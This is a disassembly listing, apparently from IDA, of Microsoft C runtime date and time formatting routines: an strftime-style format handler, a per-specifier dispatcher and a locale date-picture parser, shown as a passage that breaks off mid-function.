off_437D7C	dd offset loc_43775E	; DATA XREF: ___strgtold12+4AEr
		dd offset loc_437755
		dd offset loc_437770
byte_437D88	db 0			; DATA XREF: ___strgtold12+4A8r
		db 2, 0, 2
		dd 5 dup(2020202h), 2010102h, 7	dup(2020202h), 0CC010102h
		dd 3 dup(0CCCCCCCCh)
; [0000004F BYTES: COLLAPSED FUNCTION ___STRINGTOLD. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000516 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	__lock
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	_getenv
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	__unlock
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000C6 BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000121 BYTES: COLLAPSED FUNCTION __Getdays. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION __Getmonths. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000036E BYTES: COLLAPSED FUNCTION __Gettnames. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_438A30
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438A30	proc near		; CODE XREF: .text:00438A25p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4F4C48
		call	ds:dword_4F64BC	; InterlockedIncrement
		cmp	dword_4F4C44, 0
		jz	short loc_438A6E
		push	offset dword_4F4C48
		call	ds:dword_4F64B8	; InterlockedDecrement
		push	13h
		call	__lock
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_438A75
; ---------------------------------------------------------------------------

loc_438A6E:				; CODE XREF: sub_438A30+1Ej
		mov	[ebp+var_8], 0

loc_438A75:				; CODE XREF: sub_438A30+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_438A86
		mov	ecx, off_455F48
		mov	[ebp+var_10], ecx
		jmp	short loc_438A8C
; ---------------------------------------------------------------------------

loc_438A86:				; CODE XREF: sub_438A30+49j
		mov	edx, [ebp+arg_10]
		mov	[ebp+var_10], edx

loc_438A8C:				; CODE XREF: sub_438A30+54j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax

loc_438A92:				; CODE XREF: sub_438A30:loc_438B7Ej
		cmp	[ebp+var_C], 0
		jbe	loc_438B83
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_438AB2
		cmp	[ebp+var_14], 25h
		jz	short loc_438AB7
		jmp	short loc_438B11
; ---------------------------------------------------------------------------

loc_438AB2:				; CODE XREF: sub_438A30+78j
		jmp	loc_438B83
; ---------------------------------------------------------------------------

loc_438AB7:				; CODE XREF: sub_438A30+7Ej
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	dword_4F4B20, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_438AE8
		mov	dword_4F4B20, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax

loc_438AE8:				; CODE XREF: sub_438A30+A3j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_438BC0
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_438B7E
; ---------------------------------------------------------------------------

loc_438B11:				; CODE XREF: sub_438A30+80j
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_454E04
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_438B59
		cmp	[ebp+var_C], 1
		jbe	short loc_438B59
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx

loc_438B59:				; CODE XREF: sub_438A30+FCj
					; sub_438A30+102j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx

loc_438B7E:				; CODE XREF: sub_438A30+DFj
		jmp	loc_438A92
; ---------------------------------------------------------------------------

loc_438B83:				; CODE XREF: sub_438A30+66j
					; sub_438A30:loc_438AB2j
		cmp	[ebp+var_8], 0
		jz	short loc_438B95
		push	13h
		call	__unlock
		add	esp, 4
		jmp	short loc_438BA0
; ---------------------------------------------------------------------------

loc_438B95:				; CODE XREF: sub_438A30+157j
		push	offset dword_4F4C48
		call	ds:dword_4F64B8	; InterlockedDecrement

loc_438BA0:				; CODE XREF: sub_438A30+163j
		cmp	[ebp+var_C], 0
		jbe	short loc_438BB4
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		jmp	short loc_438BB6
; ---------------------------------------------------------------------------

loc_438BB4:				; CODE XREF: sub_438A30+174j
		xor	eax, eax

loc_438BB6:				; CODE XREF: sub_438A30+182j
		mov	esp, ebp
		pop	ebp
		retn
sub_438A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438BC0	proc near		; CODE XREF: sub_438A30+CEp
					; sub_439390+486p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_439128
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, ds:byte_439189[eax]
		jmp	ds:off_43912D[edx*4]

loc_438BF3:				; DATA XREF: .text:0043915Do
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438C15:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439131o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438C38:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439161o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438C5B:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439135o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438C7E:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439165o
		cmp	dword_4F4B20, 0
		jz	short loc_438D06
		mov	dword_4F4B20, 0
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax		; Str1
		call	sub_439390
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_438CC0
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438CC0:				; CODE XREF: sub_438BC0+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax		; Str1
		call	sub_439390
		add	esp, 14h
		jmp	short loc_438D79
; ---------------------------------------------------------------------------

loc_438D06:				; CODE XREF: sub_438BC0+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax		; Str1
		call	sub_439390
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_438D35
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438D35:				; CODE XREF: sub_438BC0+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax		; Str1
		call	sub_439390
		add	esp, 14h

loc_438D79:				; CODE XREF: sub_438BC0+144j
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438D7E:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439169o
		mov	ecx, dword_4F4B20
		mov	dword_4F4B24, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438DA8:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439139o
		mov	eax, dword_4F4B20
		mov	dword_4F4B24, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438DD0:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:0043913Do
		mov	edx, dword_4F4B20
		mov	dword_4F4B24, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_438DFA
		mov	[ebp+var_4], 0Ch

loc_438DFA:				; CODE XREF: sub_438BC0+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438E15:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:0043916Do
		mov	edx, dword_4F4B20
		mov	dword_4F4B24, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438E42:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439171o
		mov	ecx, dword_4F4B20
		mov	dword_4F4B24, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438E6F:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439141o
		mov	eax, dword_4F4B20
		mov	dword_4F4B24, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438E97:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439175o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_438EBC
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	short loc_438ED6
; ---------------------------------------------------------------------------

loc_438EBC:				; CODE XREF: sub_438BC0+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	__store_str
		add	esp, 0Ch

loc_438ED6:				; CODE XREF: sub_438BC0+2FAj
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438EDB:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439145o
		mov	edx, dword_4F4B20
		mov	dword_4F4B24, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438F04:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439149o
		mov	ecx, dword_4F4B20
		mov	dword_4F4B24, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_438F6D
; ---------------------------------------------------------------------------

loc_438F1B:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439179o
		mov	ecx, dword_4F4B20
		mov	dword_4F4B24, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438F45:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:0043914Do
		mov	eax, dword_4F4B20
		mov	dword_4F4B24, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_438F61
		mov	[ebp+var_8], 6
		jmp	short loc_438F6D
; ---------------------------------------------------------------------------

loc_438F61:				; CODE XREF: sub_438BC0+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax

loc_438F6D:				; CODE XREF: sub_438BC0+359j
					; sub_438BC0+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_438F81
		mov	[ebp+var_4], 0
		jmp	short loc_438FAE
; ---------------------------------------------------------------------------

loc_438F81:				; CODE XREF: sub_438BC0+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_438FAE
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_438FAE:				; CODE XREF: sub_438BC0+3BFj
					; sub_438BC0+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_438FC9:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:0043917Do
		cmp	dword_4F4B20, 0
		jz	short loc_439000
		mov	dword_4F4B20, 0
		mov	eax, [ebp+arg_10]
		push	eax		; int
		mov	ecx, [ebp+arg_C]
		push	ecx		; int
		mov	edx, [ebp+arg_8]
		push	edx		; int
		mov	eax, [ebp+arg_4]
		push	eax		; int
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx		; Str1
		call	sub_439390
		add	esp, 14h
		jmp	short loc_439022
; ---------------------------------------------------------------------------

loc_439000:				; CODE XREF: sub_438BC0+410j
		mov	eax, [ebp+arg_10]
		push	eax		; int
		mov	ecx, [ebp+arg_C]
		push	ecx		; int
		mov	edx, [ebp+arg_8]
		push	edx		; int
		mov	eax, [ebp+arg_4]
		push	eax		; int
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx		; Str1
		call	sub_439390
		add	esp, 14h

loc_439022:				; CODE XREF: sub_438BC0+43Ej
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_439027:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439151o
		mov	dword_4F4B20, 0
		mov	eax, [ebp+arg_10]
		push	eax		; int
		mov	ecx, [ebp+arg_C]
		push	ecx		; int
		mov	edx, [ebp+arg_8]
		push	edx		; int
		mov	eax, [ebp+arg_4]
		push	eax		; int
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx		; Str1
		call	sub_439390
		add	esp, 14h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_439058:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439181o
		mov	eax, dword_4F4B20
		mov	dword_4F4B24, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_439128
; ---------------------------------------------------------------------------

loc_43908E:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439155o
		mov	edx, dword_4F4B20
		mov	dword_4F4B24, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	short loc_439128
; ---------------------------------------------------------------------------

loc_4390DB:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:00439159o
		call	___tzset
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, off_455734[eax*4]
		push	ecx
		call	__store_str
		add	esp, 0Ch
		jmp	short loc_439128
; ---------------------------------------------------------------------------

loc_439106:				; CODE XREF: sub_438BC0+2Cj
					; DATA XREF: .text:off_43912Do
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx

loc_439128:				; CODE XREF: sub_438BC0+1Bj
					; sub_438BC0+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_438BC0	endp

; ---------------------------------------------------------------------------
off_43912D	dd offset loc_439106	; DATA XREF: sub_438BC0+2Cr
		dd offset loc_438C15
		dd offset loc_438C5B
		dd offset loc_438DA8
		dd offset loc_438DD0
		dd offset loc_438E6F
		dd offset loc_438EDB
		dd offset loc_438F04
		dd offset loc_438F45
		dd offset loc_439027
		dd offset loc_43908E
		dd offset loc_4390DB
		dd offset loc_438BF3
		dd offset loc_438C38
		dd offset loc_438C7E
		dd offset loc_438D7E
		dd offset loc_438E15
		dd offset loc_438E42
		dd offset loc_438E97
		dd offset loc_438F1B
		dd offset loc_438FC9
		dd offset loc_439058
		dd offset loc_439128
byte_439189	db 0			; DATA XREF: sub_438BC0+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h
; [00000048 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000AD BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_439390(char *Str1,int,int,int,int)

sub_439390	proc near		; CODE XREF: sub_438BC0+EBp
					; sub_438BC0+13Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
Str1		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h

loc_439396:				; CODE XREF: sub_439390+383j
					; sub_439390:loc_4397F5j ...
		mov	eax, [ebp+Str1]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_4398A5
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_4398A5
		mov	[ebp+var_8], 0
		mov	dword_4F4B24, 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+Str1]
		mov	[ebp+var_4], eax
		jmp	short loc_4393D6
; ---------------------------------------------------------------------------

loc_4393CD:				; CODE XREF: sub_439390+5Fj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx

loc_4393D6:				; CODE XREF: sub_439390+3Bj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+Str1]
		movsx	edx, byte ptr [ecx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		cmp	eax, edx
		jnz	short loc_4393F1
		jmp	short loc_4393CD
; ---------------------------------------------------------------------------

loc_4393F1:				; CODE XREF: sub_439390+5Dj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+Str1]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 27h
		mov	[ebp+var_14], edx
		cmp	[ebp+var_14], 52h
		ja	loc_4397FA
		mov	ecx, [ebp+var_14]
		xor	eax, eax
		mov	al, ds:byte_4398D5[ecx]
		jmp	ds:off_4398A9[eax*4]

loc_439428:				; DATA XREF: .text:004398B5o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		sub	eax, 1
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 3
		ja	short loc_439461
		mov	ecx, [ebp+var_18]
		jmp	ds:off_439928[ecx*4]

loc_439447:				; DATA XREF: .text:off_439928o
		mov	dword_4F4B24, 1

loc_439451:				; CODE XREF: sub_439390+B0j
					; DATA XREF: .text:0043992Co
		mov	[ebp+var_8], 6Dh
		jmp	short loc_439461
; ---------------------------------------------------------------------------

loc_439457:				; CODE XREF: sub_439390+B0j
					; DATA XREF: .text:00439930o
		mov	[ebp+var_8], 62h
		jmp	short loc_439461
; ---------------------------------------------------------------------------

loc_43945D:				; CODE XREF: sub_439390+B0j
					; DATA XREF: .text:00439934o
		mov	[ebp+var_8], 42h

loc_439461:				; CODE XREF: sub_439390+ABj
					; sub_439390+C5j ...
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_439466:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398B9o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 3
		ja	short loc_43949F
		mov	ecx, [ebp+var_1C]
		jmp	ds:off_439938[ecx*4]

loc_439485:				; CODE XREF: sub_439390+B0j
					; DATA XREF: .text:off_439938o
		mov	dword_4F4B24, 1

loc_43948F:				; CODE XREF: sub_439390+B0j
					; sub_439390+EEj
					; DATA XREF: ...
		mov	[ebp+var_8], 64h
		jmp	short loc_43949F
; ---------------------------------------------------------------------------

loc_439495:				; CODE XREF: sub_439390+B0j
					; sub_439390+EEj
					; DATA XREF: ...
		mov	[ebp+var_8], 61h
		jmp	short loc_43949F
; ---------------------------------------------------------------------------

loc_43949B:				; CODE XREF: sub_439390+B0j
					; sub_439390+EEj
					; DATA XREF: ...
		mov	[ebp+var_8], 41h

loc_43949F:				; CODE XREF: sub_439390+E9j
					; sub_439390+103j ...
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_4394A4:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398CDo
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 2
		jz	short loc_4394B8
		cmp	[ebp+var_20], 4
		jz	short loc_4394BE
		jmp	short loc_4394C2
; ---------------------------------------------------------------------------

loc_4394B8:				; CODE XREF: sub_439390+11Ej
		mov	[ebp+var_8], 79h
		jmp	short loc_4394C2
; ---------------------------------------------------------------------------

loc_4394BE:				; CODE XREF: sub_439390+124j
		mov	[ebp+var_8], 59h

loc_4394C2:				; CODE XREF: sub_439390+126j
					; sub_439390+12Cj
		jmp	loc_4397FA
; ---------------------------------------------------------------------------

loc_4394C7:				; CODE XREF: sub_439390+91j
					; DATA XREF: .text:004398BDo
		mov	eax, [ebp+var_C]
